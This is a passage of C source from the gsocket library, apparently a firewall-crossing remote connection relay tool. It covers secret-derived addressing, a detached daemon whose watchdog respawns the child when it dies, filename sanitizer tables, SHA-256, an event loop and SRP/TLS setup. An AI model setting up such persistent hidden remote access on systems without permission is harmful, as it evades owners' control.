SHA256_Update(&sha, GS_SRP_KD1, strlen(GS_SRP_KD1));
SHA256_Update(&sha, gs_secret, strlen(gs_secret));
SHA256_Final(md, &sha);
// Convert to hex string
GS_bin2hex(addr->srp_password, sizeof addr->srp_password, md, sizeof md);
// Derive the GS address
SHA256_Init(&sha);
SHA256_Update(&sha, GS_ADDR_KD2, strlen(GS_ADDR_KD2));
SHA256_Update(&sha, gs_secret, strlen(gs_secret));
SHA256_Final(md, &sha);
memcpy(addr->addr, md, sizeof addr->addr);
return addr;
}
// Return 0..25 to connect to [a-z].gsocket.org
uint8_t
GS_ADDR_get_hostname_id(uint8_t *addr)
{
int i;
int num = 0;
for (i = 0; i < GS_ADDR_SIZE; i++)
num += addr[i];
return num % 26;
}
uint64_t
GS_usec(void)
{
struct timeval tv;
gettimeofday(&tv, NULL);
return GS_TV_TO_USEC(&tv);
}
// 7 readable characters + suffix + 0
static const char unit[] = "BKMGT";
void
GS_format_bps(char *dst, size_t size, int64_t bytes, const char *suffix)
{
int i;
if (suffix == NULL)
suffix = "";
if (bytes < 1000)
{
snprintf(dst, size, "%3d.0 B%s", (int)bytes, suffix);
return;
}
bytes *= 100;
for (i = 0; bytes >= 100*1000 && unit[i] != 'T'; i++)
bytes = (bytes + 512) / 1024;
snprintf(dst, size, "%3lld.%1lld%c%s%s",
(long long) (bytes + 5) / 100,
(long long) (bytes + 5) / 10 % 10,
unit[i],
i ? "B" : " ", suffix);
}
// Convert 'sec' to human readable string
// 99s
// 1m40 100
// 99m59 5999
// 1h40 6000
// 99h59 359940
// 4d04 360000
// 99d23 8636400
// 100d 8640000
// MAX LENGTH IS 7 chars including 0-termination.
char *
GS_format_since(char *dst, size_t dst_sz, int32_t sec)
{
if (sec >= 100 * 24 * 60 * 60) // 100 days or more
snprintf(dst, dst_sz, "%ud", sec / (24 * 60 * 60));
else if (sec >= 100 * 60 * 60) // 100 hours or more => 4d00
snprintf(dst, dst_sz, "%ud%02uh", sec / (24 * 60 * 60) /*days*/, (sec / (60 * 60)) % 24);
else if (sec >= 100 * 60) // 100 minutes or more => 1h40
snprintf(dst, dst_sz, "%uh%02um", sec / (60 * 60), (sec / 60) % 60);
else if (sec >= 100) // 100 seconts or more => 1m40
snprintf(dst, dst_sz, "%um%02us", sec / 60, sec % 60);
else
snprintf(dst, dst_sz, "%us", MAX(0, sec));
return dst;
}
// Get Working Directory of process with id pid or if this fails then current cwd
// of this process.
char *
GS_getpidwd(pid_t pid)
{
char *wd = NULL;
if (pid <= 0)
goto err;
#if defined(__APPLE__) && defined(HAVE_LIBPROC_H)
// OSX (and others?)
int ret;
struct proc_vnodepathinfo vpi;
ret = proc_pidinfo(pid, PROC_PIDVNODEPATHINFO, 0, &vpi, sizeof vpi);
if (ret <= 0)
goto err;
wd = strdup(vpi.pvi_cdir.vip_path);
#elif __FREEBSD__
struct procstat *procstat;
struct kinfo_proc *kipp;
struct filestat_list *head;
struct filestat *fst;
unsigned int cnt;
procstat = procstat_open_sysctl();
if (procstat == NULL)
goto err;
kipp = procstat_getprocs(procstat, KERN_PROC_PID, pid, &cnt);
if ((kipp == NULL) || (cnt <= 0))
goto err;
head = procstat_getfiles(procstat, kipp, 0);
if (head == NULL)
goto err;
STAILQ_FOREACH(fst, head, next)
{
if (!(fst->fs_uflags & PS_FST_UFLAG_CDIR))
continue;
if (fst->fs_path == NULL)
continue;
wd = strdup(fst->fs_path);
break;
}
procstat_freefiles(procstat, head);
#else
// Linux & other unix (solaris etc)
char buf[1024];
char res[GS_PATH_MAX + 1];
ssize_t sz;
snprintf(buf, sizeof buf, "/proc/%d/cwd", (int)pid);
sz = readlink(buf, res, sizeof res - 1);
if (sz < 0)
goto err;
res[sz] = '\0';
wd = strdup(res);
#endif
err:
if (wd == NULL)
{
#if defined(__sun) && defined(HAVE_OPEN64)
// This is solaris 10
wd = getcwd(NULL, GS_PATH_MAX + 1); // solaris10 segfaults if size is 0...
#else
wd = getcwd(NULL, 0);
#endif
XASSERT(wd != NULL, "getcwd(): %s\n", strerror(errno)); // hard fail
}
DEBUGF_W("PID %d CWD=%s\n", pid, wd);
return wd;
}
/*
* Duplicate the process. Child returns. Parent monitors child
* and re-spwans child if it dies.
* Disconnect from process group and do all the things to become
* a daemon.
* Terminate the daemon if code_force_exit matches _TWICE_ the error code of
* the child. This is used to detect BAD-AUTH from the GSRN.
* Set to -1 to ignore.
*/
void
GS_daemonize(FILE *logfp, int code_force_exit)
{
pid_t pid;
struct timeval last;
struct timeval now;
int n_force_exit = 0;
memset(&last, 0, sizeof last);
memset(&now, 0, sizeof now);
gs_errfp = logfp;
#ifdef DEBUG
gs_dout = logfp;
#endif
pid = fork();
XASSERT(pid >= 0, "fork(): %s\n", strerror(errno));
if (pid > 0)
exit(0); // Parent exits
/* HERE: Child. */
setsid();
// if (chdir("/") != 0)
// ERREXIT("chdir(): %s\n", strerror(errno));
close(STDIN_FILENO);
close(STDOUT_FILENO);
close(STDERR_FILENO);
/* HERE: We are now a daemon. Next: Become a watchdog. */
while (1)
{
signal(SIGCHLD, SIG_DFL); // make wait() work...
pid = fork();
XASSERT(pid >= 0, "fork(): %s\n", strerror(errno));
if (pid == 0)
{
signal(SIGCHLD, SIG_IGN);
return;
}
/* HERE: Parent. We are the watchdog. */
int wstatus;
wait(&wstatus); // Wait for child to termiante and then restart child
if (WIFEXITED(wstatus) && (WEXITSTATUS(wstatus) == code_force_exit))
{
// Admin behavior is to test gs-netcat without -D and then
// with -D immediatly after. The 2nd gs-netcat will use a different
// AUTH-TOKEN and thus will receive a BAD-AUTH immediately.
// => Wait 10 seconds before re-conncting to give the GSRN time
// to expire the AUTH-TOKEN. If we get a 2nd BAD-AUTH thereafter
// then it is clear that another server using the same SECRET
// is already listening and we should exit the daemon/watchdog.
n_force_exit += 1;
// Kill the daemon / watchdog.
if (n_force_exit >= 2)
exit(0);
} else {
n_force_exit = 0;
}
/* No not spawn to often. */
gettimeofday(&now, NULL);
int diff = now.tv_sec - last.tv_sec;
int n = 60;
if (diff > 60)
{
n_force_exit = 0;
n = 1; // Immediately restart if this is first restart or child ran for >60sec
}
if (n_force_exit == 1)
n = GSRN_TOKEN_LINGER_SEC + 3; // If BAD-AUTH then only wait long enough for GSRN to drop auth token (7 seconds)
xfprintf(gs_errfp, "%s ***DIED*** (wstatus=%d/). Restarting in %d second%s.\n", GS_logtime(), wstatus, n, n>1?"s":"");
sleep(n);
gettimeofday(&last, NULL); // When last restarted.
}
exit(255); // NOT REACHED
}
// Sanitize a string
const char *
GS_sanitize(char *dst, size_t dsz, char *src, size_t sz, const char *set, size_t setsz, short option)
{
char *dst_orig = dst;
if (dsz <= 0)
return NULL;
char *dst_end = dst + dsz;
char *src_end = src + sz;
uint8_t c;
uint8_t n;
while ((dst < dst_end) && (src < src_end))
{
c = *src;
if (c == '\0')
break;
if (c < setsz)
{
n = set[c];
} else {
n = '#';
}
*dst = n;
dst++;
src++;
}
*dst = '\0';
return dst_orig;
}
static const char fname_valid_char[] = ""
"................"
"................"
" !.#$%&.()#+,-.." /* Dont allow " or / or ' or * */
"0123456789:;.=.." /* Dont allow < or > or ? */
"@ABCDEFGHIJKLMNO"
"PQRSTUVWXYZ[.]^_" /* Dont allow \ */
".abcdefghijklmno" /* Dont allow ` */
"pqrstuvwxyz{.}.." /* Dont allow | or ~ */
"";
// Sanitize a filename
const char *
GS_sanitize_fname_str(char *str, size_t len)
{
return GS_sanitize(str, len, str, len, fname_valid_char, sizeof fname_valid_char, 0);
}
const char *
GS_sanitize_fname(char *dst, size_t dlen, char *src, size_t slen)
{
return GS_sanitize(dst, dlen, src, slen, fname_valid_char, sizeof fname_valid_char, 0);
}
static const char logmsg_valid_char[] = ""
"................"
"................"
" !\"#$%#'()#+,-./" // dont allow &, *
"0123456789:#<=>?" // dont allow ;
"@ABCDEFGHIJKLMNO"
"PQRSTUVWXYZ[\\]^_"
"#abcdefghijklmno" // dont allow `
"pqrstuvwxyz{#}~." // dont allow |
"";
// Sanitize a log message
const char *
GS_sanitize_logmsg_str(char *str, size_t len)
{
return GS_sanitize(str, len, str, len, logmsg_valid_char, sizeof logmsg_valid_char, 0);
}
const char *
GS_sanitize_logmsg(char *dst, size_t dlen, char *src, size_t slen)
{
return GS_sanitize(dst, dlen, src, slen, logmsg_valid_char, sizeof logmsg_valid_char, 0);
}
gsocket-1.4.41/lib/gs-common.h 0000644 0001750 0001750 00000013265 14503376047 016002 0 ustar epsilon epsilon
#ifndef __GS_COMMON_H__
#define __GS_COMMON_H__ 1
#ifdef HAVE_CONFIG_H
# include
#endif
#include
#include
#include
#include
#include
#include
#if defined(__FREEBSD__)
# include
# include
# include
# include
#endif // __FREEBSD__
#include
#ifdef HAVE_NETINET_IN_SYSTM_H
# include
#endif
#include
#include
#include
#include
#include
#include // gethostbyname
#include
#ifdef HAVE_UNISTD_H
# include
#endif
#include
#include
#include
#include
#include
#include
#include
#include
#include /* basename() */
#if defined(__APPLE__) && defined(HAVE_LIBPROC_H)
# include // getpidwd(pid_t)
#endif
#if defined(__FREEBSD__)
// FIXME: Please tell me where this is defined? fbsd 12-1 complains:
// /usr/include/libprocstat.h:122:15: error: field 'fs_cap_rights' has incomplete type
# ifndef cap_rights_t
typedef struct cap_rights cap_rights_t;
# endif
# include
#endif
#include
#include
#include
#include
#ifndef MAX
# define MAX(X, Y) (((X) < (Y)) ? (Y) : (X))
#endif
#ifndef MIN
# define MIN(X, Y) (((X) < (Y)) ? (X) : (Y))
#endif
// debian-hurd does not define PATH_MAX (and has no limit on filename length)
#ifndef PATH_MAX
# define GS_PATH_MAX 4096
#else
# define GS_PATH_MAX PATH_MAX
#endif
#define D_RED(a) "\033[0;31m"a"\033[0m"
#define D_GRE(a) "\033[0;32m"a"\033[0m"
#define D_YEL(a) "\033[0;33m"a"\033[0m"
#define D_BLU(a) "\033[0;34m"a"\033[0m"
#define D_MAG(a) "\033[0;35m"a"\033[0m"
#define D_BRED(a) "\033[1;31m"a"\033[0m"
#define D_BGRE(a) "\033[1;32m"a"\033[0m"
#define D_BYEL(a) "\033[1;33m"a"\033[0m"
#define D_BBLU(a) "\033[1;34m"a"\033[0m"
#define D_BMAG(a) "\033[1;35m"a"\033[0m"
#ifdef DEBUG
# define DEBUGF(a...) do{ xfprintf(gs_dout, D_BLU("LIB")"-%d %s:%d: ", gs_did, __func__, __LINE__); xfprintf(gs_dout, a); }while(0)
# define DEBUGF_R(a...) do{ xfprintf(gs_dout, D_BLU("LIB")"-%d %s:%d: ", gs_did, __func__, __LINE__); xfprintf(gs_dout, "\033[1;31m"); xfprintf(gs_dout, a); xfprintf(gs_dout, "\033[0m"); }while(0)
# define DEBUGF_G(a...) do{ xfprintf(gs_dout, D_BLU("LIB")"-%d %s:%d: ", gs_did, __func__, __LINE__); xfprintf(gs_dout, "\033[1;32m"); xfprintf(gs_dout, a); xfprintf(gs_dout, "\033[0m"); }while(0)
# define DEBUGF_B(a...) do{ xfprintf(gs_dout, D_BLU("LIB")"-%d %s:%d: ", gs_did, __func__, __LINE__); xfprintf(gs_dout, "\033[1;34m"); xfprintf(gs_dout, a); xfprintf(gs_dout, "\033[0m"); }while(0)
# define DEBUGF_Y(a...) do{ xfprintf(gs_dout, D_BLU("LIB")"-%d %s:%d: ", gs_did, __func__, __LINE__); xfprintf(gs_dout, "\033[1;33m"); xfprintf(gs_dout, a); xfprintf(gs_dout, "\033[0m"); }while(0)
# define DEBUGF_M(a...) do{ xfprintf(gs_dout, D_BLU("LIB")"-%d %s:%d: ", gs_did, __func__, __LINE__); xfprintf(gs_dout, "\033[1;35m"); xfprintf(gs_dout, a); xfprintf(gs_dout, "\033[0m"); }while(0)
# define DEBUGF_C(a...) do{ xfprintf(gs_dout, D_BLU("LIB")"-%d %s:%d: ", gs_did, __func__, __LINE__); xfprintf(gs_dout, "\033[1;36m"); xfprintf(gs_dout, a); xfprintf(gs_dout, "\033[0m"); }while(0)
# define DEBUGF_W(a...) do{ xfprintf(gs_dout, D_BLU("LIB")"-%d %s:%d: ", gs_did, __func__, __LINE__); xfprintf(gs_dout, "\033[1;37m"); xfprintf(gs_dout, a); xfprintf(gs_dout, "\033[0m"); }while(0)
# define DEBUG_SETID(xgs) gs_did = (xgs)->fd
#else
# define DEBUGF(a...)
# define DEBUGF_R(a...)
# define DEBUGF_G(a...)
# define DEBUGF_B(a...)
# define DEBUGF_Y(a...)
# define DEBUGF_M(a...)
# define DEBUGF_C(a...)
# define DEBUGF_W(a...)
# define DEBUG_SETID(xgs)
#endif
#define SXPRINTF(ptr, len, a...) do {\
size_t n = snprintf(ptr, len, a); \
ptr += MIN(n, len); \
} while(0)
#define XFREE(ptr) do{if(ptr) free(ptr); ptr = NULL;}while(0)
#define xfprintf(fp, a...) do {if (fp != NULL) { fprintf(fp, a); fflush(fp); } } while (0)
#ifdef DEBUG
# define ERREXIT(a...) do { \
xfprintf(gs_errfp, "ERROR "); \
xfprintf(gs_errfp, "%s():%d ", __func__, __LINE__); \
xfprintf(gs_errfp, a); \
exit(255); \
} while (0)
#else
# define ERREXIT(a...) do { \
xfprintf(gs_errfp, "ERROR: "); \
xfprintf(gs_errfp, a); \
exit(255); \
} while (0)
#endif
#ifndef XASSERT
# define XASSERT(expr, a...) do { \
if (!(expr)) { \
xfprintf(gs_errfp, "%s:%d:%s() ASSERT(%s) ", __FILE__, __LINE__, __func__, #expr); \
xfprintf(gs_errfp, a); \
xfprintf(gs_errfp, " Exiting...\n"); \
exit(255); \
} \
} while (0)
#endif
#define XCLOSE(fd) do { \
if (fd < 0) { break; } \
DEBUGF_W("Closing fd = %d\n", fd); \
close(fd); \
fd = -1; \
} while (0)
#define XFD_SET(fd, set) do { \
/*if (fd <= 0) { DEBUGF_R("WARNING: FD_SET(%d, )\n", fd); } */ \
if (fd < 0) { break; } \
FD_SET(fd, set); \
} while (0)
#define XFD_CLR(fd, set) do { \
if (fd <= 0) { DEBUGF_R("WARNING: FD_CLR(%d, )\n", fd); } \
if (fd < 0) { break; } \
FD_CLR(fd, set); \
} while (0)
#ifdef DEBUG
# define HEXDUMP(a, len) do { \
int n = 0; \
xfprintf(gs_dout, D_BLU("LIB")" %s:%d HEX ", __FILE__, __LINE__); \
while (n < len) { xfprintf(gs_dout, "%2.2x", ((unsigned char *)a)[n]); n++; } \
xfprintf(gs_dout, "\n"); \
} while (0)
# define HEXDUMPF(a, len, m...) do{xfprintf(gs_dout, m); HEXDUMP(a, len);}while(0)
#else
# define HEXDUMP(a, len)
# define HEXDUMPF(a, len, m...)
#endif
#endif /* !__GS_COMMON_H__ */
gsocket-1.4.41/lib/gsocket-sha256.c 0000644 0001750 0001750 00000014007 14503376047 016536 0 ustar epsilon epsilon
#ifndef HAVE_LIBCRYPTO
/* Compiled WITHOUT OpenSSL */
/*********************************************************************
* Filename: sha256.c
* Author: Brad Conte (brad AT bradconte.com)
* Copyright:
* Disclaimer: This code is presented "as is" without any guarantees.
* Details: Implementation of the SHA-256 hashing algorithm.
SHA-256 is one of the three algorithms in the SHA2
specification. The others, SHA-384 and SHA-512, are not
offered in this implementation.
Algorithm specification can be found here:
* http://csrc.nist.gov/publications/fips/fips180-2/fips180-2withchangenotice.pdf
This implementation uses little endian byte order.
*********************************************************************/
/*************************** HEADER FILES ***************************/
#include
#include
#include
// #include "sha256.h"
/**************************** DATA TYPES ****************************/
typedef unsigned char BYTE; // 8-bit byte
typedef unsigned int WORD; // 32-bit word, change to "long" for 16-bit machines
typedef struct {
BYTE data[64];
WORD datalen;
unsigned long long bitlen;
WORD state[8];
} SHA256_CTX;
/*********************** FUNCTION DECLARATIONS **********************/
static void sha256_init(SHA256_CTX *ctx);
static void sha256_update(SHA256_CTX *ctx, const BYTE data[], size_t len);
static void sha256_final(SHA256_CTX *ctx, BYTE hash[]);
unsigned char *
GS_SHA256(const unsigned char *d, size_t n, unsigned char *md)
{
SHA256_CTX s;
sha256_init(&s);
sha256_update(&s, d, n);
sha256_final(&s, md);
return md;
}
/****************************** MACROS ******************************/
#define ROTLEFT(a,b) (((a) << (b)) | ((a) >> (32-(b))))
#define ROTRIGHT(a,b) (((a) >> (b)) | ((a) << (32-(b))))
#define CH(x,y,z) (((x) & (y)) ^ (~(x) & (z)))
#define MAJ(x,y,z) (((x) & (y)) ^ ((x) & (z)) ^ ((y) & (z)))
#define EP0(x) (ROTRIGHT(x,2) ^ ROTRIGHT(x,13) ^ ROTRIGHT(x,22))
#define EP1(x) (ROTRIGHT(x,6) ^ ROTRIGHT(x,11) ^ ROTRIGHT(x,25))
#define SIG0(x) (ROTRIGHT(x,7) ^ ROTRIGHT(x,18) ^ ((x) >> 3))
#define SIG1(x) (ROTRIGHT(x,17) ^ ROTRIGHT(x,19) ^ ((x) >> 10))
/**************************** VARIABLES *****************************/
static const WORD k[64] = {
0x428a2f98,0x71374491,0xb5c0fbcf,0xe9b5dba5,0x3956c25b,0x59f111f1,0x923f82a4,0xab1c5ed5,
0xd807aa98,0x12835b01,0x243185be,0x550c7dc3,0x72be5d74,0x80deb1fe,0x9bdc06a7,0xc19bf174,
0xe49b69c1,0xefbe4786,0x0fc19dc6,0x240ca1cc,0x2de92c6f,0x4a7484aa,0x5cb0a9dc,0x76f988da,
0x983e5152,0xa831c66d,0xb00327c8,0xbf597fc7,0xc6e00bf3,0xd5a79147,0x06ca6351,0x14292967,
0x27b70a85,0x2e1b2138,0x4d2c6dfc,0x53380d13,0x650a7354,0x766a0abb,0x81c2c92e,0x92722c85,
0xa2bfe8a1,0xa81a664b,0xc24b8b70,0xc76c51a3,0xd192e819,0xd6990624,0xf40e3585,0x106aa070,
0x19a4c116,0x1e376c08,0x2748774c,0x34b0bcb5,0x391c0cb3,0x4ed8aa4a,0x5b9cca4f,0x682e6ff3,
0x748f82ee,0x78a5636f,0x84c87814,0x8cc70208,0x90befffa,0xa4506ceb,0xbef9a3f7,0xc67178f2
};
/*********************** FUNCTION DEFINITIONS ***********************/
void sha256_transform(SHA256_CTX *ctx, const BYTE data[])
{
WORD a, b, c, d, e, f, g, h, i, j, t1, t2, m[64];
for (i = 0, j = 0; i < 16; ++i, j += 4)
m[i] = (data[j] << 24) | (data[j + 1] << 16) | (data[j + 2] << 8) | (data[j + 3]);
for ( ; i < 64; ++i)
m[i] = SIG1(m[i - 2]) + m[i - 7] + SIG0(m[i - 15]) + m[i - 16];
a = ctx->state[0];
b = ctx->state[1];
c = ctx->state[2];
d = ctx->state[3];
e = ctx->state[4];
f = ctx->state[5];
g = ctx->state[6];
h = ctx->state[7];
for (i = 0; i < 64; ++i) {
t1 = h + EP1(e) + CH(e,f,g) + k[i] + m[i];
t2 = EP0(a) + MAJ(a,b,c);
h = g;
g = f;
f = e;
e = d + t1;
d = c;
c = b;
b = a;
a = t1 + t2;
}
ctx->state[0] += a;
ctx->state[1] += b;
ctx->state[2] += c;
ctx->state[3] += d;
ctx->state[4] += e;
ctx->state[5] += f;
ctx->state[6] += g;
ctx->state[7] += h;
}
void sha256_init(SHA256_CTX *ctx)
{
ctx->datalen = 0;
ctx->bitlen = 0;
ctx->state[0] = 0x6a09e667;
ctx->state[1] = 0xbb67ae85;
ctx->state[2] = 0x3c6ef372;
ctx->state[3] = 0xa54ff53a;
ctx->state[4] = 0x510e527f;
ctx->state[5] = 0x9b05688c;
ctx->state[6] = 0x1f83d9ab;
ctx->state[7] = 0x5be0cd19;
}
void sha256_update(SHA256_CTX *ctx, const BYTE data[], size_t len)
{
WORD i;
for (i = 0; i < len; ++i) {
ctx->data[ctx->datalen] = data[i];
ctx->datalen++;
if (ctx->datalen == 64) {
sha256_transform(ctx, ctx->data);
ctx->bitlen += 512;
ctx->datalen = 0;
}
}
}
void sha256_final(SHA256_CTX *ctx, BYTE hash[])
{
WORD i;
i = ctx->datalen;
// Pad whatever data is left in the buffer.
if (ctx->datalen < 56) {
ctx->data[i++] = 0x80;
while (i < 56)
ctx->data[i++] = 0x00;
}
else {
ctx->data[i++] = 0x80;
while (i < 64)
ctx->data[i++] = 0x00;
sha256_transform(ctx, ctx->data);
memset(ctx->data, 0, 56);
}
// Append to the padding the total message's length in bits and transform.
ctx->bitlen += ctx->datalen * 8;
ctx->data[63] = ctx->bitlen;
ctx->data[62] = ctx->bitlen >> 8;
ctx->data[61] = ctx->bitlen >> 16;
ctx->data[60] = ctx->bitlen >> 24;
ctx->data[59] = ctx->bitlen >> 32;
ctx->data[58] = ctx->bitlen >> 40;
ctx->data[57] = ctx->bitlen >> 48;
ctx->data[56] = ctx->bitlen >> 56;
sha256_transform(ctx, ctx->data);
// Since this implementation uses little endian byte ordering and SHA uses big endian,
// reverse all the bytes when copying the final state to the output hash.
for (i = 0; i < 4; ++i) {
hash[i] = (ctx->state[0] >> (24 - i * 8)) & 0x000000ff;
hash[i + 4] = (ctx->state[1] >> (24 - i * 8)) & 0x000000ff;
hash[i + 8] = (ctx->state[2] >> (24 - i * 8)) & 0x000000ff;
hash[i + 12] = (ctx->state[3] >> (24 - i * 8)) & 0x000000ff;
hash[i + 16] = (ctx->state[4] >> (24 - i * 8)) & 0x000000ff;
hash[i + 20] = (ctx->state[5] >> (24 - i * 8)) & 0x000000ff;
hash[i + 24] = (ctx->state[6] >> (24 - i * 8)) & 0x000000ff;
hash[i + 28] = (ctx->state[7] >> (24 - i * 8)) & 0x000000ff;
}
}
#endif /* !WITH_GS_SHA256 */
gsocket-1.4.41/lib/event.c 0000644 0001750 0001750 00000006525 14503376047 015220 0 ustar epsilon epsilon /*
* Event manager by time stamp (usec)
*
* FIXME-Performance: reduce calls to gettimeofday(). Use global.
*/
#include "gs-common.h"
#include
#include "gs-externs.h"
int
GS_EVENT_MGR_init(GS_EVENT_MGR *mgr)
{
memset(mgr, 0, sizeof *mgr);
GS_LIST_init(&mgr->list_ts, 0);
return 0;
}
/*
* func == NULL is a special function which sets the mgr->is_return_to_caller := 1.
* This is used to pass control back to the caller when select() is used
* in any kind of 'forever' loop such as GS_select().
*/
GS_EVENT *
GS_EVENT_add_by_ts(GS_EVENT_MGR *mgr, GS_EVENT *gse, uint64_t start, uint64_t interval, gsevent_cb_t func, void *data, size_t len)
{
if (gse == NULL)
{
gse = calloc(1, sizeof *gse);
XASSERT(gse != NULL, "calloc(): %s\n", strerror(errno));
gse->is_calloc = 1;
} else {
gse->is_calloc = 0;
}
// Get start time if not specified
// Start can also be an offset to current time if it is
// <1000.
if (start < 1000)
{
struct timeval tv;
gettimeofday(&tv, NULL);
start = GS_TV_TO_USEC(&tv) + GS_MSEC_TO_USEC(start);
}
gse->data = data;
gse->len = len;
gse->mgr = mgr;
gse->interval = interval;
gse->start = start;
gse->due = start + interval;
gse->func = func;
gse->id = mgr->id_counter;
mgr->id_counter += 1;
GS_LIST_add(&mgr->list_ts, &gse->li, gse, gse->due);
return gse;
}
int
GS_EVENT_del(GS_EVENT *gse)
{
int is_calloc;
if (gse == NULL)
return -1;
// Already deleted
if (gse->mgr == NULL)
return -1;
GS_LIST_del(&gse->li);
is_calloc = gse->is_calloc;
memset(gse, 0, sizeof *gse);
if (is_calloc)
XFREE(gse);
return 0;
}
uint64_t
GS_EVENT_usec_until_event(GS_EVENT_MGR *mgr)
{
GS_LIST_ITEM *li;
li = GS_LIST_next(&mgr->list_ts, NULL);
// Return 1 second if no event scheduled.
if (li == NULL)
return GS_SEC_TO_USEC(1);
struct timeval tv;
uint64_t now;
gettimeofday(&tv, NULL);
now = GS_TV_TO_USEC(&tv);
// Return if top most entry's time has come...
if (now > li->id)
return 0;
return li->id - now;
}
/*
* Execute 1 event (if due) and return to the caller.
*
* Return 0 if there are more events to be executed.
* Return the usec until next event is due.
*/
uint64_t
GS_EVENT_execute(GS_EVENT_MGR *mgr)
{
uint64_t wait;
int ret;
wait = GS_EVENT_usec_until_event(mgr);
if (wait != 0)
return wait;
// HERE: top-most event is due. Execute.
GS_EVENT *event = mgr->list_ts.head->data;
if (event->func != NULL)
{
ret = event->func(event);
if (ret != 0)
{
// CB wants this event to be deleted
GS_EVENT_del(event);
return 0;
}
} else {
mgr->is_return_to_caller = 1;
}
// Schedule next execution for this event
// Detect clock skew (e.g. machine was in sleep mode)
struct timeval tv;
gettimeofday(&tv, NULL);
uint64_t now = GS_TV_TO_USEC(&tv);
uint64_t steps = (now - event->start) / event->interval;
event->due = event->start + ((steps + 1) * event->interval);
// DEBUGF("now %llu due %llu diff %llu\n", now, event->due, event->due - now);
GS_LIST_relink(&event->li, event->due);
return GS_EVENT_usec_until_event(mgr);
}
/*
* Execute all events that are due.
* Return the usec until next event is due (or 1 sec if no event scheduled)
*/
uint64_t
GS_EVENT_execute_all(GS_EVENT_MGR *mgr)
{
uint64_t next;
while (1)
{
next = GS_EVENT_execute(mgr);
if (next != 0)
break;
}
return next;
}
gsocket-1.4.41/lib/gsocket-engine.h 0000644 0001750 0001750 00000001653 14503376047 017003 0 ustar epsilon epsilon
#ifndef __LIBGSOCKET_ENGINE_H__
#define __LIBGSOCKET_ENGINE_H__ 1
void gs_ssl_want_io_finished(GS *gs);
int gs_ssl_continue(GS *gsocket, enum gs_rw_state_t rw_state);
int gs_ssl_want_io_rw(GS_SELECT_CTX *ctx, int fd, int err);
int gs_ssl_shutdown(GS *gsocket);
int gs_srp_init(GS *gsocket);
void gs_select_rw_save_state(GS_SELECT_CTX *ctx, int fd, char *idstr);
void gs_select_rw_restore_state(GS_SELECT_CTX *ctx, int fd, char *idstr);
void gs_select_set_rdata_pending(GS_SELECT_CTX *ctx, int fd, int len);
void gs_fds_out(fd_set *fdset, int max, char id);
void gs_fds_out_rwfd(GS_SELECT_CTX *ctx);
void gs_fds_out_fd(fd_set *fdset, char id, int fd);
#define gs_ctx_set_errorf(ctx, a...) do{snprintf((ctx)->err_buf, sizeof (ctx)->err_buf, a);} while(0)
#define gs_set_errorf(gs, a...) gs_ctx_set_errorf((gs)->ctx, a)
// do{snprintf((gs)->ctx->err_buf, sizeof (gs)->ctx->err_buf, a);} while(0)
#endif /* !__LIBGSOCKET_ENGINE_H__ */
gsocket-1.4.41/lib/gsocket-ssl.c 0000644 0001750 0001750 00000031245 14503376047 016332 0 ustar epsilon epsilon
#include "gs-common.h"
#include
#include "gsocket-engine.h"
#include "gs-externs.h"
#ifdef HAVE_LIBCRYPTO
#include
#include
#include
#include
/*
* Called by the SSL object when a SRP negotiation is requested by peer.
* ### SERVER ###
*/
static int
srp_username_cb(SSL *ssl, int *ad, void *arg)
{
SRP_user_pwd *p;
SRP_VBASE *lsrpData = (SRP_VBASE *)arg;
if (ssl == NULL)
return -1;
if (lsrpData == NULL)
return -1; // Not ready yet.
p = SRP_VBASE_get1_by_user(lsrpData, "user");
if (p == NULL)
return -1; // Bad User.
if (SSL_set_srp_server_param(ssl, p->N, p->g, p->s, p->v, NULL) != 1)
ERREXIT("SSL_set_srp_server_param() failed...\n");
SRP_user_pwd_free(p);
// DEBUGF("SUCCESS, returning SSL_ERROR_NONE\n");
return SSL_ERROR_NONE;
}
/*
* ### CLIENT ###
*/
static char *
srp_client_pwd_cb(SSL *ssl, void *arg)
{
GS *gs = (GS *)arg;
DEBUGF("Called in CLIENT only??? ssl = %p, arg = %p, pwd='%s'\n", ssl, arg, gs->srp_sec);
return OPENSSL_strdup(gs->srp_sec);
}
/*
* ### SERVER ###
*/
static void
gs_srp_setpassword(GS *gs, const char *pwd_str)
{
SRP_gN *gN;
SRP_user_pwd *p;
DEBUGF("Setting SRP password to '%s'\n", pwd_str);
if (gs->srpData != NULL)
{
DEBUGF("WARNING: srpData already initizalied\n");
return;
}
gs->srpData = SRP_VBASE_new(NULL);
XASSERT(gs->srpData != NULL, "\n");
p = (SRP_user_pwd *)OPENSSL_malloc(sizeof (SRP_user_pwd));
XASSERT(p != NULL, "\n");
gN = SRP_get_default_gN(GS_DFL_CIPHER_STRENGTH);
XASSERT(gN != NULL, "SRP_get_default_gN()\n");
char *srpCheck = SRP_check_known_gN_param(gN->g, gN->N);
XASSERT(srpCheck != NULL, "Bad Crypto SRP_check_known_gN_param() failed.\n");
BIGNUM *salt = NULL;
BIGNUM *verifier = NULL;
SRP_create_verifier_BN("user", pwd_str, &salt, &verifier, gN->N, gN->g);
p->id = "user";
p->g = gN->g;
p->N = gN->N;
p->s = salt;
p->v = verifier;
p->info = NULL;
sk_SRP_user_pwd_push(gs->srpData->users_pwd, p);
}
static void
gs_ssl_ctx_init(GS *gs, int is_server)
{
int ret;
if (gs->ssl_ctx != NULL)
{
DEBUGF("SHOULD NOT HAPPEN\n");
return; /* Already got a SSL CTX */
}
SSL_CTX *ctx = NULL;
ctx = SSL_CTX_new(SSLv23_method());
XASSERT(ctx != NULL, "SSL_CTX_new() failed.\n");
long options = 0;
options |= SSL_OP_NO_SSLv2;
options |= SSL_OP_NO_SESSION_RESUMPTION_ON_RENEGOTIATION;
options |= SSL_OP_NO_TICKET;
options |= SSL_OP_CIPHER_SERVER_PREFERENCE;
options |= SSL_OP_SINGLE_DH_USE;
SSL_CTX_set_options(ctx, options);
ret = SSL_CTX_set_cipher_list(ctx, GS_DFL_CIPHER);
XASSERT(ret == 1, "SSL_CTX_set_cipher_list()\n");
#if 1
/* AUTO_RETRY for blocking SRP is easier */
long mode;
mode = SSL_CTX_get_mode(ctx);
mode |= SSL_MODE_AUTO_RETRY; /* Let OpenSSL handle all writes internally */
SSL_CTX_set_mode(ctx, mode);
#endif
if (is_server)
{
DEBUGF("...SRP SERVER...\n");
/* SERVER */
SSL_CTX_set_srp_username_callback(ctx, srp_username_cb);
gs_srp_setpassword(gs, gs->srp_sec);
/* The user's SRP password is set per SSL_CTX. This means
* we need a new SSL_CTX for every GS connection :/
* The only time we re-use a CTX is when gsocket
* is in server mode and using SSL_accept() from
